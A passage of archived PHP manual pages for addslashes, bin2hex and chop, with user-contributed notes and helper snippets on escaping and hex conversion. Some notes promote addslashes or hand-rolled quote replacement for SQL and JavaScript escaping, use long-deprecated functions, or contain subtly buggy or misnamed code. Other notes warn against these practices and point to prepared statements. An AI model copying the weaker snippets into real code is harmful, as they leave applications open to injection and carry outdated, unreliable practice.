function checkaddslashes($str){
    $str2 = str_replace("\'", "*****", $str);
    if(strpos($str2,"'")!== false)
        return str_replace('*****', "\'", addslashes($str2));
    else
        return $str;
}
?>
Nate from RuggFamily.com 24-May-2007 07:19
If you want to add slashes to special symbols that would interfere with a regular expression (i.e., . \ + * ? [ ^ ] $ ( ) { } = ! < > | :), you should use the preg_quote() function.
yoder2 at purdue dot edu 27-Apr-2007 12:23
to quote boris-pieper AT t-online DOT de, 15-Jan-2005 06:07,

Note: You should use mysql_real_escape_string() (http://php.net/mysql_real_escape_string) if possible (PHP => 4.3.0) instead of mysql_escape_string().

You may also want to us it instead of addslashes.
sam dot fullman at verizon 20-Mar-2007 02:37
There are other functions "kind of" like this one but this should help adding slashes to a form post which also contains arrays (and you can't access runtime quotes), or you need to add slashes to an array which is already stripped:

<?php
    function addslashes_array($a){
        if(is_array($a)){
            foreach($a as $n=>$v){
                $b[$n]=addslashes_array($v);
            }
            return $b;
        }else{
            return addslashes($a);
        }
    }
?>

note this does not add slashes to the keys - you could easily modify to do this..
Adrian C 02-Mar-2007 06:06
What happends when you add addslashes(addslashes($str))? This is not a good thing and it may be fixed:

function checkaddslashes($str){
    if(strpos(str_replace("\'",""," $str"),"'")!=false)
        return addslashes($str);
    else
        return $str;
}

checkaddslashes("aa'bb");  => aa\'bb
checkaddslashes("aa\'bb"); => aa\'bb
checkaddslashes("\'"); => \'
checkaddslashes("'");  => \'

Hope this will help you
pulstar at ig dot com dot br 11-Sep-2006 07:50
May it is better use the function mysql_real_escape_string instead of addslashes when inserting data into a MySQL database. Check it at:

http://www.php.net/manual/en/function.mysql-real-escape-string.php
joechrz at gmail dot com 19-Aug-2006 05:36
Here's an example of a function that prevents double-quoting, I'm surprised noone has put something like this up yet... (also works on arrays)

<?php
function escape_quotes($receive) {
    if (!is_array($receive))
        $thearray = array($receive);
    else
        $thearray = $receive;

    foreach (array_keys($thearray) as $string) {
        $thearray[$string] = addslashes($thearray[$string]);
        $thearray[$string] = preg_replace("/[\\/]+/","/",$thearray[$string]);
    }

    if (!is_array($receive))
        return $thearray[0];
    else
        return $thearray;
}
?>
Picky 24-May-2006 12:55
This function is deprecated in PHP 4.0, according to this article:

http://www.newsforge.com/article.pl?sid=06/05/23/2141246

Also, it is worth mentioning that PostgreSQL will soon start to block queries involving escaped single quotes using \ as the escape character, for some cases, which depends on the string's encoding.  The standard way to escape quotes in SQL (not all SQL databases, mind you) is by changing single quotes into two single quotes (e.g, ' ' ' becomes ' '' ' for queries).

You should look into other ways for escaping strings, such as "mysql_real_escape_string" (see the comment below), and other such database specific escape functions.
luciano at vittoretti dot com dot br 31-Oct-2005 03:18
Note, this function wont work with mssql or access queries.
Use the function above (work with arrays too).

function addslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = addslashes_mssql($value);
        }
    } else {
        $str = str_replace("'", "''", $str);
    }

    return $str;
}

function stripslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = stripslashes_mssql($value);
        }
    } else {
        $str = str_replace("''", "'", $str);
    }

    return $str;
}
thisisroot at gmail dot com 26-Sep-2005 09:30
In response to Krasimir Slavov and Luiz Miguel Axcar:

There are several encoding schemes for inserting binary data into places it doesn't typically belong, such as databases and e-mail bodies. Check out the base64_encode() and convert_uuencode() functions for the details.
Krasimir Slavov kkslavov at yahoo dot com 16-Sep-2005 11:51
If you have problems with adding images or other binady data with addslashes() for php 4.3 >= use:

<?php
$search = array("\x00", "\x0a", "\x0d", "\x1a", "\x09");
$replace = array('\0', '\n', '\r', '\Z' , '\t');

$chrData .= str_replace($search, $replace, $Data );
?>

and put in your SQL field='$chrData' ! please remark quotes
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 01-Sep-2005 06:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
unsafed 30-Apr-2005 08:23
addslashes does NOT make your input safe for use in a database query! It only escapes according to what PHP defines, not what your database driver defines. Any use of this function to escape strings for use in a database is likely an error - mysql_real_escape_string, pg_escape_string, etc, should be used depending on your underlying database as each database has different escaping requirements. In particular, MySQL wants \n, \r and \x1a escaped which addslashes does NOT do. Therefore relying on addslashes is not a good idea at all and may make your code vulnerable to security risks. I really don't see what this function is supposed to do.
gv 06-Nov-2004 05:23
Regarding the previous note using addslashes/stripslahes with regular expressions and databases it looks as if the purpose of these functions gets mixed.

addslahes encodes data to be sent to a database or something similar. Here you need addslashes because you send commands to the database as command strings that contain data and thus you have to escape characters that are special in the command language like SQL.

Therefore the use of addslahses on a regex does properly store the regex in the database.

stripslashes does the opposite: it decodes an addslashes encoded string. However, retrieving data from a database works differently: it does not go through some string interpretation because you actually retrieve your binary data in your variables. In other words: the data stored in your variable is the unmodified binary data that your database returned. You do not run stripslahes on data returned from a database. That way, the regexs are retrieved correctly, too.

This is different from other data exchange like urlencoded strings that you exchange with your browser. Here the data channel uses the same encodings in both directions: therefore you have to encode data to be sent and you have to decode data received.
percy at rotteveel dot ca 19-Oct-2004 08:08
Be very careful when using addslashes and stripslashes in combination with regular expression that will be stored in a MySQL database. Especially when the regular expression contain escape characters!

To store a regular expression with escape characters in a MySQL database you use addslashes. For example:

$l_reg_exp = addslashes( “[\x00-\x1F]” );

After this the variable $l_reg_exp will contain: [\\x00-\\x1F].

When you store this regular expression in a MySQL database, the regular expression in the database becomes [\x00-\x1F].

When you retrieve the regular expression from the MySQL database and apply the PHP function stripslashes(), the single backslashes will be gone!

The regular expression will become [x00-x1F] and your regular expression might not work!
mark at hagers dot demon dot nl 27-Sep-2004 03:34
I was stumped for a long time by the fact that even when using addslashes and stripslashes explicitly on the field values double quotes (") still didn't seem to show up in strings read from a database. Until I looked at the source, and realised that the field value is just truncated at the first occurrence of a double quote. the remainder of the string is there (in the source), but is ignored when the form is displayed and submitted.

This can easily be solved by replacing double quotes with "&quot;" when building the form. like this:
$fld_value =  str_replace ( "\"", "&quot;", $src_string ) ;
The reverse replacement after the form submission is not necessary.
hazy underscore fakie at ringwraith dot org 12-Jul-2003 11:23
Note that when using addslashes() on a string that includes cyrillic characters, addslashes() totally mixes up the string, rendering it unusable.
phil at internetprojectmanagers dot com 09-Apr-2003 06:46
re: problem with mcrypt, addslashes and mysql

Here is my solution to the problem of characters from mcrypt creating issues with mysql calls (due to characters which aren't cleaned up by addslashes).

Solution: simply convert your encryption string to hex, then back to binary when you are ready to decrypt.

<?php
// ie.
$encrypted = addslashes($string);
$encrypted = bin2hex($encrypted);

// ... then:
$decrypted = hex2bin($encrypted);
$decrypted = stripslashes($decrypted);

// where hex2bin() is:
function hex2bin($hexdata) {
  $bindata="";

  for ($i=0;$i<strlen($hexdata);$i+=2) {
    $bindata.=chr(hexdec(substr($hexdata,$i,2)));
  }

  return $bindata;
}
?>

One word of caution: this will increase the length of your initial data string, so you will need to increase the field length for your mysql database.

Cheers, Phil
PS. I knew that I'd eventually be able to give something back to the site!
phil at internetprojectmanagers dot com 09-Apr-2003 04:47
re: encryption, addslashes and mysql

Note that mcrypt encryption may add in an apostrophe from the ascii table which cannot be protected by addslashes. It may not even be on your keyboard.

Because encryption strings are random, you may not discover it unless you test (or stumble?) on the correct sequence which inserts an apostrophe in the encrypted string.

This means that testing is even more important where encryption is concerned. If I create a solution I'll post it here.

Phil
steve at teamITS dot com 18-Jan-2003 05:53
For thelogrus, my testing shows the opposite--that a slashed string is stored correctly by MySQL.  Consider

insert into test (field1) values ('test\'test')

...which is stored as "test'test".  If you were posting "Sir'Weaser" from a form to your script and have magic_quotes_gpc on, then the string is slashed already so if you run addslashes() again you will be entering "Sir\\'Weaser" into MySQL.  In that case "Sir\'Weaser" would be the correct output.

In summary, addslashes() is not necessary if magic_quotes_gpc is on.
mike at gyrate dot org 13-Jan-2003 02:05
[Editor's note: See also the php.ini configuration magic_quotes_sybase at the URL http://www.php.net/manual/en/ref.sybase.php]

please note that addslashes will NOT work with mssql, since mssql does not use the backslash character as an escape mechanism.  just double your quotes instead.  or use this:

<?php
function mssql_addslashes($data) {
    $data = str_replace("'", "''", $data);
    return $data;
}
?>
hoskerr at nukote dot com 12-Nov-2002 03:16
Beware of using addslashes() on input to the serialize() function.   serialize() stores strings with their length; the length must match the stored string or unserialize() will fail.

Such a mismatch can occur if you serialize the result of addslashes() and store it in a database; some databases (definitely including PostgreSQL) automagically strip backslashes from "special" chars in SELECT results, causing the returned string to be shorter than it was when it was serialized.

In other words, do this...

<?php
$string="O'Reilly";
$ser=serialize($string);    # safe -- won't count the slash
$result=addslashes($ser);
?>

...and not this...

<?php
$string="O'Reilly";
$add=addslashes($string);   # RISKY!  -- will count the slash
$result=serialize($add);
?>

In both cases, a backslash will be added after the apostrophe in "O'Reilly"; only in the second case will the backslash be included in the string length as recorded by serialize().

[Note to the maintainers: You may, at your option, want to link this note to serialize() as well as to addslashes().  I'll refrain from doing such cross-posting myself...]
php at slamb dot org 30-Oct-2002 10:48
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that if they pass in a string that includes a "\'", you expand it to "\'''" (an escaped quote followed by a non-escaped quote. WRONG! Attackers can execute arbitrary SQL to drop your tables, make themselves administrators, whatever they want.)

The best way to be safe and correct is to:

- don't use magic quotes; this approach is bad. For starters, that's making the assumption that you will be using your input in a database query, which is arbitrary. (Why not escape all "<"s with "&lt;"s instead? Cross-site scripting attacks are quite common as well.) It's better to set up a way that does whatever escaping is correct for you when you use it, as below:

- when inserting into the database, use prepared statements with placeholders. For example, when using PEAR DB:

<?php
    $stmt = $dbh->prepare('update mb_users set password = ? where username = ?');
    $dbh->execute($stmt, array('12345', 'bob'));
?>

Notice that there are no quotes around the ?s. It handles that for you automatically. It's guaranteed to be safe for your database. (Just ' on oracle, \ and ' on PostgreSQL, but you don't even have to think about it.)

Plus, if the database supports prepared statements (the soon-to-be-released PostgreSQL 7.3, Oracle, etc), several executes on the same prepare can be faster, since it can reuse the same query plan. If it doesn't (MySQL, etc), this way falls back to quoting code that's specifically written for your database, avoiding the problem I mentioned above.

(Pardon my syntax if it's off. I'm not really a PHP programmer; this is something I know from similar things in Java, Perl, PL/SQL, Python, Visual Basic, etc.)
guy_AT_datalink_DOT_net_DOT_au 30-Mar-2002 01:58
If you're trying to escape quotes in a javascript event as such:

<img src="foo.gif" OnMouseOver="alert('<? print $myString ?>')">

It helps to perform this first:

$myString = str_replace("'", "\'", $myString);
$myString = str_replace('"', "'+String.fromCharCode(34)+'", $myString);
hybrid at n0spam dot pearlmagik dot com 08-May-2001 10:46
Remember to slash underscores (_) and percent signs (%), too, if you're going use the LIKE operator on the variable or you'll get some unexpected results.
php at NO_SPAMj-w3 dot com 02-Apr-2001 03:18
As mentioned, magic_quotes_gpc automatically adds slashes to POST and GET data and these slashes don't go in the database.  BUT, be careful of this. If you have a form with an error check, make sure you strip the slashes if your form remembers the OK fields, so the user doesn't view these automagically added slashes.
addcslashes
bin2hex
String Functions


Convert binary data into hexadecimal representation

addslashes
chop
String Functions
PHP Manual

bin2hex

(PHP 4, PHP 5)

bin2hex — Convert binary data into hexadecimal representation

Description

string bin2hex ( string $str )

Returns an ASCII string containing the hexadecimal representation of str. The conversion is done byte-wise with the high-nibble first.

Parameters

str

A string.

Return Values

Returns the hexadecimal representation of the given string.

See Also

  • hex2bin() - Convert hex to binary
  • pack() - Pack data into binary string

User Contributed Notes

subdivizion at gmail dot com 18-Sep-2009 05:19
Here's a function to check if a string contains any 7-bit GSM characters.

It might come useful for people working on SMS platforms.

<?php

function check_gsm($str)
{
    $arr = array(
"0x00", "0x01", "0x02", "0x03", "0x04", "0x05","0x06","0x07","0x08","0x09",
"0x0A","0x0B","0x0C","0x0D","0x0E","0x0F","0x10","0x11","0x12","0x13",
"0x14","0x15","0x16","0x17","0x18","0x19","0x1A","0x1B","0x1B0A",
"0x1B14","0x1B28","0x1B29","0x1B2F","0x1B3C","0x1B3D","0x1B3E",
"0x1B40","0x1B65","0x1C","0x1D","0x1E","0x1F","0x20","0x21","0x22",
"0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2A","0x2B","0x2C",
"0x2D","0x2E","0x2F","0x30","0x31","0x32","0x33","0x34","0x35","0x36",
"0x37","0x38","0x39","0x3A","0x3B","0x3C","0x3D","0x3E","0x3F","0x40",
"0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48","0x49","0x4A",
"0x4B","0x4C","0x4D","0x4E","0x4F","0x50","0x51","0x52","0x53","0x54",
"0x55","0x56","0x57","0x58","0x59","0x5A","0x5B","0x5C","0x5D","0x5E",
"0x5F","0x60","0x61","0x62","0x63","0x64","0x65","0x66","0x67","0x68",
"0x69","0x6A","0x6B","0x6C","0x6D","0x6E","0x6F","0x70","0x71","0x72",
"0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7A","0x7B","0x7C",
"0x7D","0x7E","0x7F");

    $strl = strlen($str);
    for ($i = 0;$i < $strl; $i++)
    {
        $char = '0x' . bin2hex(substr($str,$i,1));
        $pos = in_array($char,$arr);
        if ($pos == 1)
        {
            $j++;
        }
    }

    if ($j < $strl)
    {
        return false;
    }
    else
    {
        return true;
    }
}
?>
me at juanmaria dot com 03-Sep-2009 06:05
Regarding the fabled hex2bin, the easiest way I've found to "replace" it is the following call to function pack():

<?php
$bin_str = pack("H*" , $hex_str);
?>
gimpstraw at gmail dot com 20-Apr-2009 11:01
I want clear this up for everyone using functions like the one below this...

<?php
function bin2hex($str) {
    $hex = "";
    $i = 0;
    do {
        $hex .= dechex(ord($str{$i}));
        $i++;
    } while ($i < strlen($str));
    return $hex;
}

// Look what happens when ord($str{$i}) is 0...15
// you get a single digit hexadecimal value 0...F

// bin2hex($str) could return something like 4a3,
// decimals(74, 3), whatever the binary value is of those.

function hex2bin($str) {
    $bin = "";
    $i = 0;
    do {
        $bin .= chr(hexdec($str{$i}.$str{($i + 1)}));
        $i += 2;
    } while ($i < strlen($str));
    return $bin;
}

// hex2bin("4a3") just broke. Now what?

// Using sprintf() to get it right.
function bin2hex($str) {
    $hex = "";
    $i = 0;
    do {
        $hex .= sprintf("%02x", ord($str{$i}));
        $i++;
    } while ($i < strlen($str));
    return $hex;
}

// now using whatever the binary value of decimals(74, 3)
// and this bin2hex() you get a hexadecimal value you can
// then run the hex2bin function on. 4a03 instead of 4a3.
?>
nodarinodo 18-Dec-2008 01:35
<?php
if(!function_exists('bin2hex'))
{
function bin2hex($str)
    {
        $strl = strlen($str);
        $fin = '';
        for($i =0; $i < $strl; $i++)
        {
            $fin .= dechex(ord($str[$i]));
        }
        return $fin;
    }
}
?>
chaos79 03-Oct-2008 08:30
Because the way back (hex2bin) doesn't exist on php, i've written another little function without using commands like pack:

<?php
// Convert a hex-string to binary-string (the way back from bin2hex)

function hex2bin($h)
  {
  if (!is_string($h)) return null;
  $r='';
  for ($a=0; $a<strlen($h); $a+=2) { $r.=chr(hexdec($h{$a}.$h{($a+1)})); }
  return $r;
  }

echo bin2hex('Hello'); // result: 48656c6c6f
echo hex2bin('48656c6c6f'); // result: Hello
?>
admin at purespider dot de 15-Aug-2008 05:08
The most simple way to do binary (10101010 or so) to hex is
<?PHP echo dechex(bindec(10101010)); ?>
kissifrot at gmail dot com 26-Nov-2007 02:37
hex2bin can be useful to insert data into BLOB binary fields.

for example if you want to insert the content of a file :

<?php
$filename = '/foo/bar';
$bin_content = fread(fopen($filename,"r"),filesize($filename));

// use the usual mysql_connect() function

$insert_query = "INSERT INTO mytable (blob_field) VALUES ('".bin2hex($bin_content)."')";
mysql_query($insert_query);

?>
tehjosh at gamingg dot net 11-Aug-2007 11:35
This function is for converting binary data into a hexadecimal string representation.  This function is not for converting strings representing binary digits into hexadecimal.  If you want that functionality, you can simply do this:

<?php
$binary = "11111001";
$hex = dechex(bindec($binary));
echo $hex;
?>

This would output "f9".  Just remember that there is a very big difference between binary data and a string representation of binary.
ratfactor at gmail dot com 23-Nov-2006 12:13
I also wished to have the ability to translate a string containing a binary number ('1101') to a string containing a hexadecimal number ('d').  Here is my function:

function strbin2hex($bin){
  $last = strlen($bin)-1;
  for($i=0; $i<=$last; $i++){ $x += $bin[$last-$i] * pow(2,$i); }
  return dechex($x);
}

Example:
strbin2hex('1101');   // returns 'd'

I also added some optional features to my function (zero padding and upper case hex letters):

function strbin2hex($bin, $pad=false, $upper=false){
  $last = strlen($bin)-1;
  for($i=0; $i<=$last; $i++){ $x += $bin[$last-$i] * pow(2,$i); }
  $x = dechex($x);
  if($pad){ while(strlen($x) < intval(strlen($bin))/4){ $x = "0$x"; } }
  if($upper){ $x = strtoupper($x); }
  return $x;
}

Examples:
strbin2hex('11110101', true, true);   // returns 'F5'
strbin2hex('00001011', true, true);   // returns '0B'
nilzie at gmail dot com 14-Jul-2006 06:12
Since PHP only has a way to convert a real binary string into hex, couldn't I find a function that can convert binary information written in ascii (like 0110). This function will convert that

<?
function asciibin2hex($str) {

$str = str_replace(" ", "", $str); //delete some probably spaces

//Binary to HEX list

$binary['0000'] = "0";
$binary['0001'] = "1";
$binary['0010'] = "2";
$binary['0011'] = "3";
$binary['0100'] = "4";
$binary['0101'] = "5";
$binary['0110'] = "6";
$binary['0111'] = "7";
$binary['1000'] = "8";
$binary['1001'] = "9";
$binary['1010'] = "a";
$binary['1011'] = "b";
$binary['1100'] = "c";
$binary['1101'] = "d";
$binary['1110'] = "e";
$binary['1111'] = "f";

//make sets of 4
for( ; ; ) {
$calc = strlen($str) / 4;
if(is_numeric($calc)&&(intval($calc)==floatval($calc))) {
    break;
    }
    else {
        $str .= 0;
        }
 }

//translate binary to hex
for($i = 0 ; $i < strlen($str) ; $i = $i + 4) {
        $set = substr($str, $i, 4);
        $inhex .= $binary[$set];
}

return $inhex;

}
//Examples:
echo asciibin2hex("101101011100"); //prints: b5c
echo asciibin2hex("1011 1000 1111 1100") //prints: b8fc
echo asciibin2hex("1000 1011 1101 001") //prints: 8bd2
?>

I hope I didn't make it too hard for myself writing this all, but hÃ©, it works :)
mike at go dot online dot pt 14-Mar-2006 04:03
Unicode/multibyte capable 'bin2hex' function, inspired by v0rbiz at yahoo dot com >> http://www.php.net/manual/en/function.ord.php#42778

function unibin2hex($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = bin2hex(substr($k, 0, 1));
    $k2 = bin2hex(substr($k, 1, 1));
    return $k2.$k1;
}

Note: UCS-2LE = UCS-2 little endian; UCS-2 = UTF-16
lihong dot wei at mwbiz dot de 18-May-2005 05:15
Convert special characters(inclusiv line break) in a string into hexadecimal characters
function spec2hex($str) {
   $result = '';
   for($i = 0; $i < strlen($str); $i++) {
           if(ord(substr($str, $i, 1)) > 127 || ord(substr($str, $i, 1)) == 10){
               $result .= '&#x'.bin2hex(substr($str, $i, 1)).';';
           }
           else{
               $result .= substr($str, $i, 1);
           }
   }
   return $result;
}
php_guru ät bestof däsh inter döt net 03-Feb-2005 12:15
The function hexentities($str) of the previous post is equivalent to

<?= substr( chunk_split( bin2hex( " $str" ), 2, ";&#x" ), 3,-3) ?>

Also, I think that the <address> tag should be used for the whole paragraph (usually at document foot) and not as shortcut for <span class=email> or so (although it is an %inline; element), see e.g. http://www.w3.org/TR/html4/struct/global.html#h-7.5.6
manithu at fahr-zur-hoelle dot org 09-Jan-2005 01:30
This function returns the string $str in htmlentity hex format (&#xnumber;).
It is useful to prevent spam bots indexing your email adress.

<?php

function hexentities($str) {
    $return = '';
    for($i = 0; $i < strlen($str); $i++) {
        $return .= '&#x'.bin2hex(substr($str, $i, 1)).';';
    }
    return $return;
}

?>

example:
<?php echo 'email: <address>'.hexentities('foo@bar').'</address>'; ?>
will return:

email: <address>&#x66;&#x6f;&#x6f;&#x40;&#x62;&#x61;&#x72;</address>

the browser will show foo@bar.
j_lozinskit at yahoo dot co dot uk 24-Nov-2004 05:11
A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following:

<?php
$field=bin2hex($field);
$field=chunk_split($field,2,"\\x");
$field= "\\x" . substr($field,0,-2);
?>

this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file:

FFFFFFFF -> \xFF\xFF\xFF\xFF
t0rus at dr dot com 22-Nov-2004 08:18
modified version of Thoth's hexbin and binhex to convert
any size numbers
(original doesn't take more than integer - 32bit)
<?
function hexbin($hex){
    $bin='';
    for($i=0;$i<strlen($hex);$i++)
        $bin.=str_pad(decbin(hexdec($hex{$i})),4,'0',STR_PAD_LEFT);
       return $bin;
}

function binhex($bin){
    $hex='';
    for($i=strlen($bin)-4;$i>=0;$i-=4)
        $hex.=dechex(bindec(substr($bin,$i,4)));
   return strrev($hex);
}
?>
brams006 at umn dot edu 19-Aug-2004 03:05
Here's a modified version of an earlier post (asc2bin and bin2asc) to convert an incoming ascii string to hex and out again.  For example, this is really useful if you want to insert data into a mySQL database which contains both escaped and non-escaped characters.  For example, if you want to store code snibbets in a mySQL text field:

printf("here's some \"text\".");

If you INSERT this into mySQL, it probably won't come out in friendly executable format, and you can't escape all double-quotes, nor can you strip out all the slashes.  One solution is to just convert the string to hex, store it in hex, then convert back to ascii before using it in some way:

function asc2hex ($temp) {
   $len = strlen($temp);
   for ($i=0; $i<$len; $i++) $data.=sprintf("%02x",ord(substr($temp,$i,1)));
   return $data;
}

function hex2asc($temp) {
   $len = strlen($temp);
   for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($temp,$i,2)));
   return $data;
}
aidan at php dot net 30-Apr-2004 08:48
hexdump() is a function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidanlister.com/repos/v/function.hexdump.php
mhspam at mail dot sce dot cz 23-Apr-2004 07:14
My version of quoted-printable mail subject converting function (maybe not as effective, but preserving characters which don't need conversion).
Martin
<?php
// Transfer mail subject into Quoted Printable encoding
function mail_quote_subj($str, $charset){
    $out = '';
    for($i = 0; $i < strlen($str); $i++){
        $out .= (ord($str[$i]) > 127) ? "=" . bin2hex($str[$i]) : $str[$i];
    }
    return "=?$charset?Q?".$out."?=";
};
?>
AntonioAlcorn at yahoo dot coma 19-Apr-2004 11:34
In response to Patrik:
A simpler way to print a number in binary is to use base_convert().
<? echo base_convert($bin, 10, 2); ?>
If you need it to print all 32 bits (as your function does) you can just pad it out:
<? echo str_pad(base_convert($bin, 10, 2), 32, '0', STR_PAD_LEFT); ?>
The conversion is from base 10 because when $bin is passed to base_convert(), it is converted to a string, and the default representation is in decimal.
Hope this helps.
Patrik 01-Feb-2004 09:14
I needed a little function that will print the binary as a string, here it comes.

<?php
function bin2string($bin) {
    $res = "";
    for($p=31; $p >= 0; $p--) {
      $res .= ($bin & (1 << $p)) ? "1" : "0";
    }
    return $res;
}
?>
mkr at binarywerks dot dk 29-Oct-2003 05:34
Ok, this is a better version than my previous poor example.

Running this in shell creates a progress indicator. Very useful if used when parsing large log files for instance.

#!/usr/bin/php4 -q
<?
// Displays a progress indicator
function progress($line)
{
        global $last_len;

        $del_char = pack("H" . 2, "7F");
        $line_len = strlen($line);
        $del_chars=(isset($last_len)) ? $last_len : $line_len;

        $last_len = $line_len;
        return str_repeat($del_char, ($del_chars)).$line;
}

// demo code:
for($i=0;$i<100;$i++)
{
        sleep(1);
        echo progress("i is now: $i out of 100");
}
?>
Thoth 24-Oct-2003 05:24
I thought it'll give me an "F" if i give it a "1111"...

Here's something to convert a binary-string into a hex-string and other direction too:

<?php
function hexbin($hex) {
    $bin = decbin(hexdec($hex));
    return $bin;
}

function binhex($bin) {
    $hex = dechex(bindec($bin));
    return $hex;
}
?>

simple, isn't it?
Francisco (ffaria at mutua dot com dot br) 21-Jul-2003 04:33
function to search a character in a normal string change this for a hexadecimal and take the especifical char code in hexa and replace this char and return the string

<?php
function hex_replace($pCaracter,$sCaracter,$conteudo) {

    $pHex = bin2hex($pCaracter);
    $sHex = bin2hex($sCaracter);

    $tam = strlen($conteudo);

    for($i = 0; $i <= $tam; $i++) {
        $cont = bin2hex(substr($conteudo,$i,1));

        if ($cont == $pHex) {
           $cont = $sHex;
           $hex .= $cont;
        }
    }

    for ($i=0;$i<strlen($hex);$i+=2)
          $bin .= chr(hexdec(substr($hex,$i,2)));
    return $bin;
}
?>

by from a litle brazilian. :-P
andreas.schmeiler 05-Feb-2003 06:01
<?php
function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
      $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
?>
admin at tsunaquack dot com 16-Jan-2003 01:04
Some gave a function to convert a hex code back into a simple text (human readable ASCII :P)

Some else gave a function that makes use of bin2hex to convert URLs into something like %12%34%56

Here is a function to go from the form %12%34%56 back into ASCII

Note that this function can easily be changed in order to transform any hex code into ASCII

<?
function _hex2text($str) {
    $str = explode('%', $str);
    array_shift($str);
    $nmlstr = '';
    foreach($str as $hexstr) {
      $nmlstr .= chr(base_convert($hexstr, 16, 10));
    }
    return $nmlstr;
}
?>

'hope this helps :)
Regards
-Tsuna
matthew dot eastman at hotpop dot com 08-Oct-2002 10:00
This function undoes it (converts back into ASCII).

<?php
function hex2asc($myin) {
for ($i=0; $i<strlen($myin)/2; $i++) {
$myout.=chr(base_convert(substr($myin,$i*2,2),16,10));
}
return $myout;
}
?>
matt at zevi dot net 21-Aug-2002 02:27
Hopefully this helps someone...

It just displays an html representation of hex data, much like a hex viewer would.

Matt

<?php
function hexview($data){
  $bytePosition = $columnCount = $lineCount = 0;
  $columns = 8;
  $dataLength = strlen($data);
  $return = array();
  $return[] = '<table border="1" cellspacing="0" cellpadding="2">';
  for($n = 0; $n < $dataLength; $n++){
    $lines[$lineCount][$columnCount++] = substr($data, $n, 1);
    if($columnCount == $columns){
      $lineCount++;
      $columnCount = 0;
    }
  }
  foreach($lines as $line){
    $return[] = '<tr><td align="right">'.$bytePosition.': </td>';
    for($n = 0; $n < $columns; $n++){
      $return[] = '<td>'.strtoupper(bin2hex($line[$n])).'</td>';
    }
    $return[] = '<td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>';
    for($n = 0; $n < $columns; $n++){
      $return[] = '<td>'.(htmlentities($line[$n]) ? htmlentities($line[$n]) : '&nbsp;').'</td>';
    }
    $return[] = '</tr>';
    $bytePosition = $bytePosition + $columns;
  }
  $return[] = '</table>';
  return implode('', $return);
}
?>
php at (what spam?) at vaejas dot com 04-Aug-2002 05:01
I have found the above quoted-printable encoding function to be
extremely useful, and thank maxg for making a great function that is not already included in PHP.
(Pity it's hidden all the way over here when it could be found more easily in quoted_printable_decode() )

However, there is one missing character in the code that needs to be included:

Right after the ?Q? there needs to be an extra equal sign in order for the very first character to be translated by the e-mail software.

$string = "=?$charset?Q?=" . $encoded . "?=";
is correct.

I don't yet have enough experience to speak for other caveats or improvements, but your mileage may vary depending on the e-mail server.

- Luke
maxg at hot dot ee 14-Dec-2001 11:47
I wrote the function that is useful for sending emails for example in cyrillic encoding (wondows-1251, koi8-r and so on).
It converts every symbol in the string into hexadecimal presentation with "=" symbol as delimiter.

For example, the string "Ðåãèñòðàöèîííûé êîä äëÿ" will look like that:
=d0=e5=e3=e8=f1=f2=f0=e0=f6=e8=ee=ed=ed=fb=e9=20=ea=ee=e4=20=e4=eb=ff

I use it for encoding email subject, but it could be modified for anything else.

<?php
function hex4email ($string,$charset)
{
    $string=bin2hex ($string);
    $encoded = chunk_split($string, 2, '=');
    $encoded=preg_replace ("/=$/","",$encoded);
    $string="=?$charset?Q?".$encoded."?=";

return $string;
}
?>
tightcode at hotmail dot com 25-Aug-2001 08:05
I was just browsing the above and with a little modification,
came up with the following which I believe to be more flexible:

<?php
function bin2hex($data) {
    $corrected = ereg_replace("[^0-9a-fA-F]","",$data);
    return pack("H".strlen($corrected),$corrected);
}
?>

This will make sure that whatever you pass, even if it is padded
at the extremeties or between pairs, should return the desired data.
pedram at redhive dot com 31-Jan-2001 05:21
In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process:

<?php
function hex_encode ($email_address)    {
        $encoded = bin2hex("$email_address");
        $encoded = chunk_split($encoded, 2, '%');
        $encoded = '%' . substr($encoded, 0, strlen($encoded) - 1);
        return $encoded;
}
?>

so for example:
<a href="mailto:&lt;?=hex_encode("pedram@redhive.com")?>">email me</a>

would produce the following address:
%70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d

-pedram
addslashes
chop
String Functions


Alias of rtrim

bin2hex
chr
String Functions
PHP Manual

chop

(PHP 4, PHP 5)

chop — Alias of rtrim()

Description

This function is an alias of: rtrim().

Notes

Note:

chop() is different than the Perl chop() function, which removes the last character in the string.

User Contributed Notes

tomas at matfyz dot cz 24-May-2010 05:47
This function corresponds more or less to the PERL chomp() function.
rahuls8730 at gmail dot com 17-May-2009 11:03
Definition and Usage

The chop() function will remove a white space or other predefined character from the right end of a string.

This function is an alias of the rtrim() function.
Syntax
chop(string,charlist)

Parameter     Description
string     Required. Specifies the string to check
charlist     Optional. Specifies which characters to remove from the string.
The following characters are allowed and is set to be removed if the charlist parameter is empty:

    * "\0" - ASCII 0, NULL
